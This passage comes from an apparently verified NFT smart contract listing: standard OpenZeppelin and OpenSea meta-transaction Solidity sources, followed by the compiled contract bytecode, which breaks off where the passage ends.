OpenZeppelin Contracts v4.4.1 (utils/math/SafeMath.sol) pragma solidity ^0.8.0; // CAUTION // This version of SafeMath should only be used with Solidity 0.8 or later, // because it relies on the compiler's built in overflow checks. /** * @dev Wrappers over Solidity's arithmetic operations. * * NOTE: `SafeMath` is generally not needed starting with Solidity 0.8, since the compiler * now has built in overflow checking. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b > a) return (false, 0); return (true, a - b); } } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a / b); } } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a % b); } } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a % b; } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; abstract contract ContextMixin { function msgSender() internal view returns (address payable sender) { if (msg.sender == address(this)) { bytes memory array = msg.data; uint256 index = msg.data.length; assembly { // Load the 32 bytes word from memory with the address on the lower 20 bytes, and mask those. sender := and( mload(add(array, index)), 0xffffffffffffffffffffffffffffffffffffffff ) } } else { sender = payable(msg.sender); } return sender; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import {SafeMath} from "@openzeppelin/contracts/utils/math/SafeMath.sol"; import {EIP712Base} from "./EIP712Base.sol"; contract NativeMetaTransaction is EIP712Base { using SafeMath for uint256; bytes32 private constant META_TRANSACTION_TYPEHASH = keccak256( bytes( "MetaTransaction(uint256 nonce,address from,bytes functionSignature)" ) ); event MetaTransactionExecuted( address userAddress, address payable relayerAddress, bytes functionSignature ); mapping(address => uint256) nonces; /* * Meta transaction structure. * No point of including value field here as if user is doing value transfer then he has the funds to pay for gas * He should call the desired function directly in that case. */ struct MetaTransaction { uint256 nonce; address from; bytes functionSignature; } function executeMetaTransaction( address userAddress, bytes memory functionSignature, bytes32 sigR, bytes32 sigS, uint8 sigV ) public payable returns (bytes memory) { MetaTransaction memory metaTx = MetaTransaction({ nonce: nonces[userAddress], from: userAddress, functionSignature: functionSignature }); require( verify(userAddress, metaTx, sigR, sigS, sigV), "Signer and signature do not match" ); // increase nonce for user (to avoid re-use) nonces[userAddress] = nonces[userAddress].add(1); emit MetaTransactionExecuted( userAddress, payable(msg.sender), functionSignature ); // Append userAddress and relayer address at the end to extract it from calling context (bool success, bytes memory returnData) = address(this).call( abi.encodePacked(functionSignature, userAddress) ); require(success, "Function call not successful"); return returnData; } function hashMetaTransaction(MetaTransaction memory metaTx) internal pure returns (bytes32) { return keccak256( abi.encode( META_TRANSACTION_TYPEHASH, metaTx.nonce, metaTx.from, keccak256(metaTx.functionSignature) ) ); } function getNonce(address user) public view returns (uint256 nonce) { nonce = nonces[user]; } function verify( address signer, MetaTransaction memory metaTx, bytes32 sigR, bytes32 sigS, uint8 sigV ) internal view returns (bool) { require(signer != address(0), "NativeMetaTransaction: INVALID_SIGNER"); return signer == ecrecover( toTypedMessageHash(hashMetaTransaction(metaTx)), sigV, sigR, sigS ); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Enumerable.sol) pragma solidity ^0.8.0; import "../IERC721.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Enumerable is IERC721 { /** * @dev Returns the total amount of tokens stored by the contract. */ function totalSupply() external view returns (uint256); /** * @dev Returns a token ID owned by `owner` at a given `index` of its token list. * Use along with {balanceOf} to enumerate all of ``owner``'s tokens. */ function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId); /** * @dev Returns a token ID at a given `index` of all the tokens stored by the contract. * Use along with {totalSupply} to enumerate all tokens. */ function tokenByIndex(uint256 index) external view returns (uint256); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import {Initializable} from "./Initializable.sol"; contract EIP712Base is Initializable { struct EIP712Domain { string name; string version; address verifyingContract; bytes32 salt; } string constant public ERC712_VERSION = "1"; bytes32 internal constant EIP712_DOMAIN_TYPEHASH = keccak256( bytes( "EIP712Domain(string name,string version,address verifyingContract,bytes32 salt)" ) ); bytes32 internal domainSeperator; // supposed to be called once while initializing. // one of the contracts that inherits this contract follows proxy pattern // so it is not possible to do this in a constructor function _initializeEIP712( string memory name ) internal initializer { _setDomainSeperator(name); } function _setDomainSeperator(string memory name) internal { domainSeperator = keccak256( abi.encode( EIP712_DOMAIN_TYPEHASH, keccak256(bytes(name)), keccak256(bytes(ERC712_VERSION)), address(this), bytes32(getChainId()) ) ); } function getDomainSeperator() public view returns (bytes32) { return domainSeperator; } function getChainId() public view returns (uint256) { uint256 id; assembly { id := chainid() } return id; } /** * Accept message hash and returns hash message in EIP712 compatible form * So that it can be used to recover signer from signature signed using EIP712 formatted data * https://eips.ethereum.org/EIPS/eip-712 * "\\x19" makes the encoding deterministic * "\\x01" is the version byte to make it compatible to EIP-191 */ function toTypedMessageHash(bytes32 messageHash) internal view returns (bytes32) { return keccak256( abi.encodePacked("\x19\x01", getDomainSeperator(), messageHash) ); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; contract Initializable { bool inited = false; modifier initializer() { require(!inited, "already inited"); _; inited = true; } }
0x6080604052600436106102305760003560e01c806342966c681161012e5780638da5cb5b116100ab578063b88d4fde1161006f578063b88d4fde14610674578063c87b56dd14610694578063d547cfb7146106b4578063e985e9c5146106c9578063f2fde38b146106e957600080fd5b80638da5cb5b146105d457806395d89b41146105f25780639727bfae14610607578063a060351014610634578063a22cb4651461065457600080fd5b8063755edd17116100f2578063755edd171461053c5780637d0355ca1461055c5780637f6497831461057c5780638386b0861461059c5780638ab1d681146105b457600080fd5b806342966c68146104a75780634f6ccce7146104c75780636352211e146104e757806370a0823114610507578063715018a61461052757600080fd5b806318160ddd116101bc5780632d0335ab116101805780632d0335ab146104065780632f745c591461043c5780633408e4701461045c5780633d4a81a11461046f57806342842e0e1461048757600080fd5b806318160ddd1461037957806320379ee51461039c5780632156a96c146103b157806323b872dd146103c65780632524a496146103e657600080fd5b80630c53c51c116102035780630c53c51c146102e65780630f7e5970146102f957806314e843b814610326578063152481091461033957806316c38b3c1461035957600080fd5b806301ffc9a71461023557806306fdde031461026a578063081812fc1461028c578063095ea7b3146102c4575b600080fd5b34801561024157600080fd5b50610255610250366004612ea2565b610709565b60405190151581526020015b60405180910390f35b34801561027657600080fd5b5061027f610734565b6040516102619190613095565b34801561029857600080fd5b506102ac6102a7366004612ef6565b6107c6565b6040516001600160a01b039091168152602001610261565b3480156102d057600080fd5b506102e46102df366004612d8b565b610860565b005b61027f6102f4366004612d10565b610988565b34801561030557600080fd5b5061027f604051806040016040528060018152602001603160f81b81525081565b6102e4610334366004612ef6565b610b72565b34801561034557600080fd5b506102e4610354366004612f4a565b610d3a565b34801561036557600080fd5b506102e4610374366004612e6a565b610ea1565b34801561038557600080fd5b5061038e610efd565b604051908152602001610261565b3480156103a857600080fd5b50600b5461038e565b3480156103bd57600080fd5b5061038e610f19565b3480156103d257600080fd5b506102e46103e1366004612c39565b610f6c565b3480156103f257600080fd5b506102e4610401366004612f26565b610fa4565b34801561041257600080fd5b5061038e610421366004612be5565b6001600160a01b03166000908152600c602052604090205490565b34801561044857600080fd5b5061038e610457366004612d8b565b611073565b34801561046857600080fd5b504661038e565b34801561047b57600080fd5b50601154421015610255565b34801561049357600080fd5b506102e46104a2366004612c39565b611109565b3480156104b357600080fd5b506102e46104c2366004612ef6565b611124565b3480156104d357600080fd5b5061038e6104e2366004612ef6565b61112d565b3480156104f357600080fd5b506102ac610502366004612ef6565b6111ce565b34801561051357600080fd5b5061038e610522366004612be5565b611245565b34801561053357600080fd5b506102e46112cc565b34801561054857600080fd5b506102e4610557366004612be5565b611321565b34801561056857600080fd5b5061038e610577366004612ef6565b61138f565b34801561058857600080fd5b506102e4610597366004612db6565b6113b3565b3480156105a857600080fd5b50601254421015610255565b3480156105c057600080fd5b506102e46105cf366004612be5565b611536565b3480156105e057600080fd5b50600d546001600160a01b03166102ac565b3480156105fe57600080fd5b5061027f611648565b34801561061357600080fd5b5061038e610622366004612ef6565b6000908152601e602052604090205490565b34801561064057600080fd5b506102e461064f366004612c01565b611657565b34801561066057600080fd5b506102e461066f366004612ce3565b6116c1565b34801561068057600080fd5b506102e461068f366004612c79565b6116d3565b3480156106a057600080fd5b5061027f6106af366004612ef6565b611712565b3480156106c057600080fd5b5061027f61174c565b3480156106d557600080fd5b506102556106e4366004612c01565b61176c565b3480156106f557600080fd5b506102e4610704366004612be5565b61183c565b60006001600160e01b0319821663780e9d6360e01b148061072e575061072e82611958565b92915050565b6060600080546107439061325d565b80601f016020809104026020016040519081016040528092919081815260200182805461076f9061325d565b80156107bc5780601f10610791576101008083540402835291602001916107bc565b820191906000526020600020905b81548152906001019060200180831161079f57829003601f168201915b5050505050905090565b6000818152600260205260408120546001600160a01b03166108445760405162461bcd60e51b815260206004820152602c60248201527f4552433732313a20617070726f76656420717565727920666f72206e6f6e657860448201526b34b9ba32b73a103a37b5b2b760a11b60648201526084015b60405180910390fd5b506000908152600460205260409020546001600160a01b031690565b600061086b826111ce565b9050806001600160a01b0316836001600160a01b031614156108d95760405162461bcd60e51b815260206004820152602160248201527f4552433732313a20617070726f76616c20746f2063757272656e74206f776e656044820152603960f91b606482015260840161083b565b806001600160a01b03166108eb6119a8565b6001600160a01b031614806109075750610907816106e46119a8565b6109795760405162461bcd60e51b815260206004820152603860248201527f4552433732313a20617070726f76652063616c6c6572206973206e6f74206f7760448201527f6e6572206e6f7220617070726f76656420666f7220616c6c0000000000000000606482015260840161083b565b61098383836119b2565b505050565b60408051606081810183526001600160a01b0388166000818152600c6020908152908590205484528301529181018690526109c68782878787611a20565b610a1c5760405162461bcd60e51b815260206004820152602160248201527f5369676e657220616e64207369676e617475726520646f206e6f74206d6174636044820152600d60fb1b606482015260840161083b565b6001600160a01b0387166000908152600c6020526040902054610a40906001611b10565b6001600160a01b0388166000908152600c60205260409081902091909155517f5845892132946850460bff5a0083f71031bc5bf9aadcd40f1de79423eac9b10b90610a9090899033908a90613023565b60405180910390a1600080306001600160a01b0316888a604051602001610ab8929190612fbd565b60408051601f1981840301815290829052610ad291612fa1565b6000604051808303816000865af19150503d8060008114610b0f576040519150601f19603f3d011682016040523d82523d6000602084013e610b14565b606091505b509150915081610b665760405162461bcd60e51b815260206004820152601c60248201527f46756e6374696f6e2063616c6c206e6f74207375636365737366756c00000000604482015260640161083b565b98975050505050505050565b6015548110610b935760405162461bcd60e51b815260040161083b906130fa565b6011544210158015610bdb575060125442101580610bdb575060196000610bb86119a8565b6001600160a01b0316815260208101919091526040016000205460ff1615156001145b610c1d5760405162461bcd60e51b815260206004820152601360248201527229b0b6329039ba34b636103737ba1037b832b760691b604482015260640161083b565b6000818152601b6020526040902054341015610c6e5760405162461bcd60e51b815260206004820152601060248201526f092dce6eaccccd2c6d2cadce8408aa8960831b604482015260640161083b565b601354601a6000610c7d6119a8565b6001600160a01b03168152602081019190915260400160002054610ca29060016131d7565b1115610ce35760405162461bcd60e51b815260206004820152601060248201526f135a5b9d1a5b99c8195e18d95959195960821b604482015260640161083b565b6001601a6000610cf16119a8565b6001600160a01b03166001600160a01b031681526020019081526020016000206000828254610d2091906131d7565b90915550610d37905081610d326119a8565b611b23565b50565b610d426119a8565b6001600160a01b0316610d5d600d546001600160a01b031690565b6001600160a01b031614610d835760405162461bcd60e51b815260040161083b90613120565b6015548211158015610d9757506015548111155b610db35760405162461bcd60e51b815260040161083b906130fa565b6000828152601c6020908152604080832054601d909252909120548491610dd991613203565b1015610e275760405162461bcd60e51b815260206004820152601960248201527f4e6f7420656e6f7567682070616e64617320746f206d6f766500000000000000604482015260640161083b565b6000828152601d602052604081208054859290610e45908490613203565b90915550506000818152601d602052604081208054859290610e689084906131d7565b90915550506040518190839085907f7914fd4bf464a5f0674115b6088ba1760d83c472f5fd88de7b2ed59ba804ff5890600090a4505050565b610ea96119a8565b6001600160a01b0316610ec4600d546001600160a01b031690565b6001600160a01b031614610eea5760405162461bcd60e51b815260040161083b90613120565b6018805460ff1916911515919091179055565b60006001610f0a600e5490565b610f149190613203565b905090565b6000610f236119a8565b6001600160a01b0316610f3e600d546001600160a01b031690565b6001600160a01b031614610f645760405162461bcd60e51b815260040161083b90613120565b506017545b90565b610f7d610f776119a8565b82611c80565b610f995760405162461bcd60e51b815260040161083b90613155565b610983838383611d4f565b610fac6119a8565b6001600160a01b0316610fc7600d546001600160a01b031690565b6001600160a01b031614610fed5760405162461bcd60e51b815260040161083b90613120565b60155482111561100f5760405162461bcd60e51b815260040161083b906130fa565b6001600160a01b0381166110655760405162461bcd60e51b815260206004820152601b60248201527f496e76616c69642064657374696e6174696f6e20616464726573730000000000604482015260640161083b565b61106f8282611b23565b5050565b600061107e83611245565b82106110e05760405162461bcd60e51b815260206004820152602b60248201527f455243373231456e756d657261626c653a206f776e657220696e646578206f7560448201526a74206f6620626f756e647360a81b606482015260840161083b565b506001600160a01b03919091166000908152600660209081526040808320938352929052205490565b610983838383604051806020016040528060008152506116d3565b610d3781611efa565b600061113860085490565b821061119b5760405162461bcd60e51b815260206004820152602c60248201527f455243373231456e756d657261626c653a20676c6f62616c20696e646578206f60448201526b7574206f6620626f756e647360a01b606482015260840161083b565b600882815481106111bc57634e487b7160e01b600052603260045260246000fd5b90600052602060002001549050919050565b6000818152600260205260408120546001600160a01b03168061072e5760405162461bcd60e51b815260206004820152602960248201527f4552433732313a206f776e657220717565727920666f72206e6f6e657869737460448201526832b73a103a37b5b2b760b91b606482015260840161083b565b60006001600160a01b0382166112b05760405162461bcd60e51b815260206004820152602a60248201527f4552433732313a2062616c616e636520717565727920666f7220746865207a65604482015269726f206164647265737360b01b606482015260840161083b565b506001600160a01b031660009081526003602052604090205490565b6112d46119a8565b6001600160a01b03166112ef600d546001600160a01b031690565b6001600160a01b0316146113155760405162461bcd60e51b815260040161083b90613120565b61131f6000611fa1565b565b6113296119a8565b6001600160a01b0316611344600d546001600160a01b031690565b6001600160a01b03161461136a5760405162461bcd60e51b815260040161083b90613120565b6000611375600e5490565b9050611385600e80546001019055565b61106f8282611ff3565b6000818152601c6020908152604080832054601d90925282205461072e9190613203565b6113bb6119a8565b6001600160a01b03166113d6600d546001600160a01b031690565b6001600160a01b0316146113fc5760405162461bcd60e51b815260040161083b90613120565b600081511161143c5760405162461bcd60e51b815260206004820152600c60248201526b4e6f2061646472657373657360a01b604482015260640161083b565b60005b815181101561106f5760016019600084848151811061146e57634e487b7160e01b600052603260045260246000fd5b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff0219169083151502179055506001601660008282546114c091906131d7565b925050819055508181815181106114e757634e487b7160e01b600052603260045260246000fd5b60200260200101516001600160a01b03167f8a3be376fdc726be3f3cee8e59ba5698a268a9b59f69cdabcf06d2ec2c90658f60405160405180910390a28061152e81613298565b91505061143f565b61153e6119a8565b6001600160a01b0316611559600d546001600160a01b031690565b6001600160a01b03161461157f5760405162461bcd60e51b815260040161083b90613120565b6001600160a01b03811660009081526019602052604090205460ff1615156001146115de5760405162461bcd60e51b815260206004820152600f60248201526e139bdd081dda1a5d195b1a5cdd1959608a1b604482015260640161083b565b6001600160a01b0381166000908152601960205260408120805460ff19169055601680549161160c83613246565b90915550506040516001600160a01b038216907f9354cd337eebad48c93d70f7321b188732c3061fa5c48fe32b8e6f9480c52fcc90600090a250565b6060600180546107439061325d565b61165f6119a8565b6001600160a01b031661167a600d546001600160a01b031690565b6001600160a01b0316146116a05760405162461bcd60e51b815260040161083b90613120565b6001600160a01b0382166116b75761106f8161200d565b61106f82826120e0565b61106f6116cc6119a8565b8383612172565b6116e46116de6119a8565b83611c80565b6117005760405162461bcd60e51b815260040161083b90613155565b61170c84848484612241565b50505050565b606061171c61174c565b61172583612274565b604051602001611736929190612ff4565b6040516020818303038152906040529050919050565b60606040518060600160405280602d8152602001613343602d9139905090565b600f5460405163c455279160e01b81526001600160a01b03848116600483015260009281169190841690829063c45527919060240160206040518083038186803b1580156117b957600080fd5b505afa1580156117cd573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906117f19190612eda565b6001600160a01b0316141561180a57600191505061072e565b6001600160a01b0380851660009081526005602090815260408083209387168352929052205460ff165b949350505050565b6118446119a8565b6001600160a01b031661185f600d546001600160a01b031690565b6001600160a01b0316146118855760405162461bcd60e51b815260040161083b90613120565b6001600160a01b0381166118ea5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161083b565b610d3781611fa1565b80546001019055565b60003330141561195357600080368080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152505050503601516001600160a01b03169150610f699050565b503390565b60006001600160e01b031982166380ac58cd60e01b148061198957506001600160e01b03198216635b5e139f60e01b145b8061072e57506301ffc9a760e01b6001600160e01b031983161461072e565b6000610f146118fc565b600081815260046020526040902080546001600160a01b0319166001600160a01b03841690811790915581906119e7826111ce565b6001600160a01b03167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560405160405180910390a45050565b60006001600160a01b038616611a865760405162461bcd60e51b815260206004820152602560248201527f4e61746976654d6574615472616e73616374696f6e3a20494e56414c49445f5360448201526424a3a722a960d91b606482015260840161083b565b6001611a99611a948761238e565b61240b565b6040805160008152602081018083529290925260ff851690820152606081018690526080810185905260a0016020604051602081039080840390855afa158015611ae7573d6000803e3d6000fd5b505050602060405103516001600160a01b0316866001600160a01b031614905095945050505050565b6000611b1c82846131d7565b9392505050565b60185460ff1615611b6a5760405162461bcd60e51b8152602060048201526011602482015270135a5b9d1a5b99c81a5cc81c185d5cd959607a1b604482015260640161083b565b601454601754108015611b9557506000828152601d6020908152604080832054601c90925290912054105b611bd15760405162461bcd60e51b815260206004820152600d60248201526c151a595c881cdbdb190b5bdd5d609a1b604482015260640161083b565b6000611bdc600e5490565b9050611bec600e80546001019055565b611bf68282611ff3565b6000818152601e602052604081208490556017805460019290611c1a9084906131d7565b90915550506000838152601c60205260408120805460019290611c3e9084906131d7565b9091555050604051839082906001600160a01b038516907f37437b3f8dbcf5f929b92388a09a9a2468aa913ef45626b2aa671dd88c7748d690600090a4505050565b6000818152600260205260408120546001600160a01b0316611cf95760405162461bcd60e51b815260206004820152602c60248201527f4552433732313a206f70657261746f7220717565727920666f72206e6f6e657860448201526b34b9ba32b73a103a37b5b2b760a11b606482015260840161083b565b6000611d04836111ce565b9050806001600160a01b0316846001600160a01b03161480611d3f5750836001600160a01b0316611d34846107c6565b6001600160a01b0316145b806118345750611834818561176c565b826001600160a01b0316611d62826111ce565b6001600160a01b031614611dca5760405162461bcd60e51b815260206004820152602960248201527f4552433732313a207472616e73666572206f6620746f6b656e2074686174206960448201526839903737ba1037bbb760b91b606482015260840161083b565b6001600160a01b038216611e2c5760405162461bcd60e51b8152602060048201526024808201527f4552433732313a207472616e7366657220746f20746865207a65726f206164646044820152637265737360e01b606482015260840161083b565b611e3783838361243b565b611e426000826119b2565b6001600160a01b0383166000908152600360205260408120805460019290611e6b908490613203565b90915550506001600160a01b0382166000908152600360205260408120805460019290611e999084906131d7565b909155505060008181526002602052604080822080546001600160a01b0319166001600160a01b0386811691821790925591518493918716917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef91a4505050565b6000611f05826111ce565b9050611f138160008461243b565b611f1e6000836119b2565b6001600160a01b0381166000908152600360205260408120805460019290611f47908490613203565b909155505060008281526002602052604080822080546001600160a01b0319169055518391906001600160a01b038416907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef908390a45050565b600d80546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b61106f8282604051806020016040528060008152506124f3565b60405147906000906001600160a01b0384169083908381818185875af1925050503d806000811461205a576040519150601f19603f3d011682016040523d82523d6000602084013e61205f565b606091505b50509050806109835760405162461bcd60e51b815260206004820152604160248201527f45524332303a20416464726573733a20756e61626c6520746f2073656e64207660448201527f616c75652c20726563697069656e74206d6179206861766520726576657274656064820152601960fa1b608482015260a40161083b565b6040516370a0823160e01b815230600482015282906000906001600160a01b038316906370a082319060240160206040518083038186803b15801561212457600080fd5b505afa158015612138573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061215c9190612f0e565b905061170c6001600160a01b0383168483612526565b816001600160a01b0316836001600160a01b031614156121d45760405162461bcd60e51b815260206004820152601960248201527f4552433732313a20617070726f766520746f2063616c6c657200000000000000604482015260640161083b565b6001600160a01b03838116600081815260056020908152604080832094871680845294825291829020805460ff191686151590811790915591519182527f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c31910160405180910390a3505050565b61224c848484611d4f565b61225884848484612578565b61170c5760405162461bcd60e51b815260040161083b906130a8565b6060816122985750506040805180820190915260018152600360fc1b602082015290565b8160005b81156122c257806122ac81613298565b91506122bb9050600a836131ef565b915061229c565b60008167ffffffffffffffff8111156122eb57634e487b7160e01b600052604160045260246000fd5b6040519080825280601f01601f191660200182016040528015612315576020820181803683370190505b5090505b84156118345761232a600183613203565b9150612337600a866132b3565b6123429060306131d7565b60f81b81838151811061236557634e487b7160e01b600052603260045260246000fd5b60200101906001600160f81b031916908160001a905350612387600a866131ef565b9450612319565b600060405180608001604052806043815260200161337060439139805160209182012083518483015160408087015180519086012090516123ee950193845260208401929092526001600160a01b03166040830152606082015260800190565b604051602081830303815290604052805190602001209050919050565b6000612416600b5490565b60405161190160f01b60208201526022810191909152604281018390526062016123ee565b6001600160a01b0383166124965761249181600880546000838152600960205260408120829055600182018355919091527ff3f7a9fe364faab93b216da50a3214154f22a0a2b415b23a84c8169e8b636ee30155565b6124b9565b816001600160a01b0316836001600160a01b0316146124b9576124b9838261268c565b6001600160a01b0382166124d05761098381612729565b826001600160a01b0316826001600160a01b031614610983576109838282612802565b6124fd8383612846565b61250a6000848484612578565b6109835760405162461bcd60e51b815260040161083b906130a8565b604080516001600160a01b038416602482015260448082018490528251808303909101815260649091019091526020810180516001600160e01b031663a9059cbb60e01b179052610983908490612994565b60006001600160a01b0384163b1561268157836001600160a01b031663150b7a026125a16119a8565b8786866040518563ffffffff1660e01b81526004016125c39493929190613058565b602060405180830381600087803b1580156125dd57600080fd5b505af192505050801561260d575060408051601f3d908101601f1916820190925261260a91810190612ebe565b60015b612667573d80801561263b576040519150601f19603f3d011682016040523d82523d6000602084013e612640565b606091505b50805161265f5760405162461bcd60e51b815260040161083b906130a8565b805181602001fd5b6001600160e01b031916630a85bd0160e11b149050611834565b506001949350505050565b6000600161269984611245565b6126a39190613203565b6000838152600760205260409020549091508082146126f6576001600160a01b03841660009081526006602090815260408083208584528252808320548484528184208190558352600790915290208190555b5060009182526007602090815260408084208490556001600160a01b039094168352600681528383209183525290812055565b60085460009061273b90600190613203565b6000838152600960205260408120546008805493945090928490811061277157634e487b7160e01b600052603260045260246000fd5b9060005260206000200154905080600883815481106127a057634e487b7160e01b600052603260045260246000fd5b60009182526020808320909101929092558281526009909152604080822084905585825281205560088054806127e657634e487b7160e01b600052603160045260246000fd5b6001900381819060005260206000200160009055905550505050565b600061280d83611245565b6001600160a01b039093166000908152600660209081526040808320868452825280832085905593825260079052919091209190915550565b6001600160a01b03821661289c5760405162461bcd60e51b815260206004820181905260248201527f4552433732313a206d696e7420746f20746865207a65726f2061646472657373604482015260640161083b565b6000818152600260205260409020546001600160a01b0316156129015760405162461bcd60e51b815260206004820152601c60248201527f4552433732313a20746f6b656e20616c7265616479206d696e74656400000000604482015260640161083b565b61290d6000838361243b565b6001600160a01b03821660009081526003602052604081208054600192906129369084906131d7565b909155505060008181526002602052604080822080546001600160a01b0319166001600160a01b03861690811790915590518392907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef908290a45050565b60006129e9826040518060400160405280602081526020017f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564815250856001600160a01b0316612a669092919063ffffffff16565b8051909150156109835780806020019051810190612a079190612e86565b6109835760405162461bcd60e51b815260206004820152602a60248201527f5361666545524332303a204552433230206f7065726174696f6e20646964206e6044820152691bdd081cdd58d8d9595960b21b606482015260840161083b565b60606118348484600085856001600160a01b0385163b612ac85760405162461bcd60e51b815260206004820152601d60248201527f416464726573733a2063616c6c20746f206e6f6e2d636f6e7472616374000000604482015260640161083b565b600080866001600160a01b03168587604051612ae49190612fa1565b60006040518083038185875af1925050503d8060008114612b21576040519150601f19603f3d011682016040523d82523d6000602084013e612b26565b606091505b5091509150612b36828286612b41565b979650505050505050565b60608315612b50575081611b1c565b825115612b605782518084602001fd5b8160405162461bcd60e51b815260040161083b9190613095565b600082601f830112612b8a578081fd5b813567ffffffffffffffff811115612ba457612ba46132f3565b612bb7601f8201601f19166020016131a6565b818152846020838601011115612bcb578283fd5b816020850160208301379081016020019190915292915050565b600060208284031215612bf6578081fd5b8135611b1c81613309565b60008060408385031215612c13578081fd5b8235612c1e81613309565b91506020830135612c2e81613309565b809150509250929050565b600080600060608486031215612c4d578081fd5b8335612c5881613309565b92506020840135612c6881613309565b929592945050506040919091013590565b60008060008060808587031215612c8e578081fd5b8435612c9981613309565b93506020850135612ca981613309565b925060408501359150606085013567ffffffffffffffff811115612ccb578182fd5b612cd787828801612b7a565b91505092959194509250565b60008060408385031215612cf5578182fd5b8235612d0081613309565b91506020830135612c2e8161331e565b600080600080600060a08688031215612d27578081fd5b8535612d3281613309565b9450602086013567ffffffffffffffff811115612d4d578182fd5b612d5988828901612b7a565b9450506040860135925060608601359150608086013560ff81168114612d7d578182fd5b809150509295509295909350565b60008060408385031215612d9d578182fd5b8235612da881613309565b946020939093013593505050565b60006020808385031215612dc8578182fd5b823567ffffffffffffffff80821115612ddf578384fd5b818501915085601f830112612df2578384fd5b813581811115612e0457612e046132f3565b8060051b9150612e158483016131a6565b8181528481019084860184860187018a1015612e2f578788fd5b8795505b83861015612e5d5780359450612e4885613309565b84835260019590950194918601918601612e33565b5098975050505050505050565b600060208284031215612e7b578081fd5b8135611b1c8161331e565b600060208284031215612e97578081fd5b81